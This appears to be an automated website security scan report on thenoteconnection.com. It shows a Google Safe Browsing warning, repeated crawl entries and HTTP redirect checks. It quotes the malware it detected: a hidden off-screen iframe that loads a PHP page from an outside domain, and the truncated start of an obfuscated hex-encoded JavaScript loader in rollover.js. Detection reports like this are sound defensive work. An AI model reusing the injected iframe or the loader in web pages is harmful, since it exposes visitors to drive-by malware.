Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=thenoteconnection.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://thenoteconnection.com/ | 200 OK Content-Length: 12856 Content-Type: text/html | suspicious |
Suspicious code found <style>body {overflow-x:hidden;overflow-y:auto;} </style>
<iframe id="cpuic" name="cpuic" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://carlosflores.net/libraries/ZpdFP2XB.php" > </iframe> | ||
http://thenoteconnection.com/./assets/rollover.js | 200 OK Content-Length: 29352 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:69:68:60:66:65:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e Antivirus reports:
| ||
http://thenoteconnection.com/./index.html | 200 OK Content-Length: 12856 Content-Type: text/html | suspicious |
Suspicious code found <style>body {overflow-x:hidden;overflow-y:auto;} </style>
<iframe id="cpuic" name="cpuic" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://carlosflores.net/libraries/ZpdFP2XB.php" > </iframe> | ||
http://thenoteconnection.com/././assets/rollover.js | 200 OK Content-Length: 29352 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:69:68:60:66:65:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e Antivirus reports:
| ||
http://thenoteconnection.com/././index.html | 200 OK Content-Length: 12856 Content-Type: text/html | suspicious |
Suspicious code found <style>body {overflow-x:hidden;overflow-y:auto;} </style>
<iframe id="cpuic" name="cpuic" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://carlosflores.net/libraries/ZpdFP2XB.php" > </iframe> | ||
http://thenoteconnection.com/./././assets/rollover.js | 200 OK Content-Length: 29352 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:69:68:60:66:65:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e Antivirus reports:
| ||
http://thenoteconnection.com/./././index.html | 200 OK Content-Length: 12856 Content-Type: text/html | suspicious |
Suspicious code found <style>body {overflow-x:hidden;overflow-y:auto;} </style>
<iframe id="cpuic" name="cpuic" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://carlosflores.net/libraries/ZpdFP2XB.php" > </iframe> | ||
http://thenoteconnection.com/././././assets/rollover.js | 200 OK Content-Length: 29352 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:69:68:60:66:65:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e Antivirus reports:
| ||
http://thenoteconnection.com/././././index.html | 200 OK Content-Length: 12856 Content-Type: text/html | suspicious |
Suspicious code found <style>body {overflow-x:hidden;overflow-y:auto;} </style>
<iframe id="cpuic" name="cpuic" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://carlosflores.net/libraries/ZpdFP2XB.php" > </iframe> | ||
http://thenoteconnection.com/./././././assets/rollover.js | 200 OK Content-Length: 29352 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:69:68:60:66:65:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e Antivirus reports:
| ||
http://thenoteconnection.com/./././././index.html | 200 OK Content-Length: 12856 Content-Type: text/html | suspicious |
Suspicious code found <style>body {overflow-x:hidden;overflow-y:auto;} </style>
<iframe id="cpuic" name="cpuic" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://carlosflores.net/libraries/ZpdFP2XB.php" > </iframe> | ||
http://thenoteconnection.com/././././././assets/rollover.js | 200 OK Content-Length: 29352 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:69:68:60:66:65:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e Antivirus reports:
| ||
http://thenoteconnection.com/././././././index.html | 200 OK Content-Length: 12856 Content-Type: text/html | suspicious |
Suspicious code found <style>body {overflow-x:hidden;overflow-y:auto;} </style>
<iframe id="cpuic" name="cpuic" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://carlosflores.net/libraries/ZpdFP2XB.php" > </iframe> | ||
http://thenoteconnection.com/./././././././assets/rollover.js | 200 OK Content-Length: 29352 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:69:68:60:66:65:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e Antivirus reports:
| ||
http://thenoteconnection.com/./././././././index.html | 200 OK Content-Length: 12856 Content-Type: text/html | suspicious |
Suspicious code found <style>body {overflow-x:hidden;overflow-y:auto;} </style>
<iframe id="cpuic" name="cpuic" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://carlosflores.net/libraries/ZpdFP2XB.php" > </iframe> |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: thenoteconnection.com
Result:
HTTP/1.1 200 OK
Date: Sat, 27 Dec 2014 19:21:00 GMT
Accept-Ranges: bytes
ETag: "55bf6ebc69cdce1:0"
Server: Microsoft-IIS/7.5
Content-Length: 12856
Content-Type: text/html
Last-Modified: Sun, 20 Oct 2013 07:55:25 GMT
X-Powered-By: ASP.NET
...12856 bytes of data.
GET / HTTP/1.1
Host: thenoteconnection.com
Result:
HTTP/1.1 200 OK
Date: Sat, 27 Dec 2014 19:21:00 GMT
Accept-Ranges: bytes
ETag: "55bf6ebc69cdce1:0"
Server: Microsoft-IIS/7.5
Content-Length: 12856
Content-Type: text/html
Last-Modified: Sun, 20 Oct 2013 07:55:25 GMT
X-Powered-By: ASP.NET
...12856 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: thenoteconnection.com
Referer: http://www.google.com/search?q=thenoteconnection.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: thenoteconnection.com
Referer: http://www.google.com/search?q=thenoteconnection.com
Result:
The result is similar to the first query. There are no suspicious redirects found.